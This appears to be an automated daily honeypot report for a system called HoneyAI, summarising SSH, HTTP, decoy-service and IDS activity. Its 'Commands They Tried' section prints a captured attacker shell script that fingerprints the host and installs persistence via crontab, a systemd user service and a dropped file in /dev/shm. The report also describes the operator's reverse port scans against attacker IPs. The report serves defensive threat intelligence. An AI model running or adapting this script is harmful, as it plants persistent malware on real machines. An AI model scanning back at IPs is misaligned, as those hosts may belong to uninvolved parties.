Daily Threat Report
Top Attacker IPs
Top Passwords Tried
- 8c6976e5b5410415
- 4813494d137e1631
🌐 WEB HONEYPOT — HoneyAI HTTP
AI-generated fake HTTP responses served to 63 scanner requests from 36 unique IPs (local, offline).
Top Paths Probed
- /
- /login
- /SDK/webLanguage
- /c/
- /goform/set_LimitClient_cfg
Top User-Agents
- Go-http-client/1.1
- WanScannerBot/1.0
- Mozilla/5.0 (X11; Linux x86_64; WanscannerBot/1.2; +https://abuse.pend.re) Gecko/20100101 Firefox/10.0
- Hello World/1.0
- Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46
💥 OPERATION SPINE — Reverse Port Scanning
Active defense back-profiling: HoneyAI executed **15** reverse port-scans against active attacker IPs. Out of these, **15** hosts were found with open services.
Discovered Open Ports on Attackers
# Automatic multi-platform threat intel reporting $ honeypot-report.sh --since 24h → 153 IPs → AbuseIPDB (community confidence scores updated) → 153 IPs → AlienVault OTX (pulse indicators added) → 153 IPs → Blocklist.de (auto-ban list updated) → 153 IPs → DShield/SANS (global threat feed updated)
🤣 ATTACKER COMEDY CORNER
Real attempts. No actors were harmed in the making of this honeypot.
🔑 Hall of Shame — Passwords
8c6976e5b5410415 4813494d137e1631 💻 Commands They Tried
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '$_dq' ) || echo $_dq$_dq) arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q $_dqlm$_dq /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q $_dqCPU architecture: 8$_dq /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q $_dqCPU architecture: 7$_dq /proc/cpuinfo && echo armv7l ) || echo $_dq$_dq) uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null) cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c $_dq^processor$_dq /proc/cpuinfo 2>/dev/null) cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E $_dq^model name$_dq /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E $_dq^Hardware$_dq /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ) gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ) last_output=$(last 2>/dev/null) filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'execute_err='; out=$(bash -c 'printf $_dq#!/bin/bash\necho \$_dqxxxxxx\$_dq\n$_dq > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case $_dq$out$_dq in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf $_dq#!/bin/bash\necho \$_dqxxxxxx\$_dq\n$_dq > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case $_dq$out$_dq in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf $_dq#!/bin/bash\necho \$_dqxxxxxx\$_dq\n$_dq > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case $_dq$out$_dq in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf $_dq#!/bin/sh\necho \$_dqxxxxxx\$_dq\n$_dq > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf $_dq#!/bin/sh\necho \$_dqxxxxxx\$_dq\n$_dq > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' $_dq$out$_dq | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; echo '===DONE===' ) 2>&1 ) echo $_dqUNAME:$uname$_dq echo $_dqARCH:$arch$_dq echo $_dqUPTIME:$uptime$_dq echo $_dqCPUS:$cpus$_dq echo $_dqCPU_MODEL:$cpu_model$_dq echo $_dqGPU:$gpu_info$_dq echo $_dqLAST:$last_output$_dq echo $_dqFILTER:$filter_output$_dq CRON=$_dq$(crontab -l 2>/dev/null || true)$_dq echo $_dq$CRON$_dq | grep -F '/tmp/w.sh $_dqastats$_dq $_dqnetai$_dq $_dqkstats$_dq $_dqssh 2 ranges$_dq' >/dev/null 2>&1 || \ printf '%s\n%s\n' $_dq@reboot /tmp/w.sh $_dqastats$_dq $_dqnetai$_dq $_dqkstats$_dq $_dqssh 2 ranges$_dq$_dq $_dq0 * * * * cd $_dq/tmp$_dq && ./w.sh $_dqastats$_dq $_dqnetai$_dq $_dqkstats$_dq $_dqssh 2 ranges$_dq$_dq | (cat -; echo $_dq$CRON$_dq) | crontab - sh -lc 'mkdir -p ~/.config/systemd/user && cat > ~/.config/systemd/user/watcher-netai.service && systemctl --user daemon-reload && systemctl --user enable --now watcher-netai.service' sh -c 'for d in /dev/shm /tmp /var/run /mnt /root /; do cd $_dq$d$_dq 2>/dev/null && pwd && break; done' cd /dev/shm || cd /tmp || cd /var/run || cd /mnt || cd /root || cd / && cat > astats These are real credentials and commands attempted by automated scanners and script kiddies. Logged, reported, and immortalized.
Automated report for 31 de agosto de 2026. Recorded 976 SSH connections and 87393 multi-protocol decoy events on HoneyAI, from 174 unique IPs. 153 IPs were automatically reported to the AbuseIPDB community database.
SSH Activity (HoneyAI)
The SSH service received 576 login attempts from 28 unique IPs. Attackers executed 390 commands after gaining simulated system access.
Multi-Protocol Decoys (HoneyAI)
Detected 87393 events across services including FTP, Telnet, SMTP, MySQL, Redis, Git, VNC, and RDP from 146 distinct IPs. All events are access attempts against simulated production services.
HTTP Web Service (HoneyAI)
The web service received 63 HTTP requests from real scanners across 36 unique IPs. Each attacker received a fake response generated in real time by the local AI engine (Ollama, no internet connection required).
MCP Agent Trap
The MCP decoy server received 8 requests from 3 unique IPs. Attackers attempted to call internal tools including credential extraction and system command execution.
MSSQL / SNMP Honeypots
The MSSQL decoy received 9351 authentication events from 2 IPs. The SNMP trap received 32 queries from 18 IPs probing community strings and OIDs.
Portscan Detection
Detected 0 incoming port scan events from 0 unique IPs.
AI Defense Stats
Blocked 0 prompt injection attempts and 0 identity leak attempts.
Active Defense (Operation Spine)
HoneyAI performed 15 reverse port scans back to active attacker IPs. Out of these, 15 hosts were found running open public services, allowing backfire profiling.
Network IDS (Suricata)
The network intrusion detection system generated 180473 alerts from 773 unique source IPs. Suricata monitors all traffic on the primary network interface using Emerging Threats + AlienVault OTX rulesets.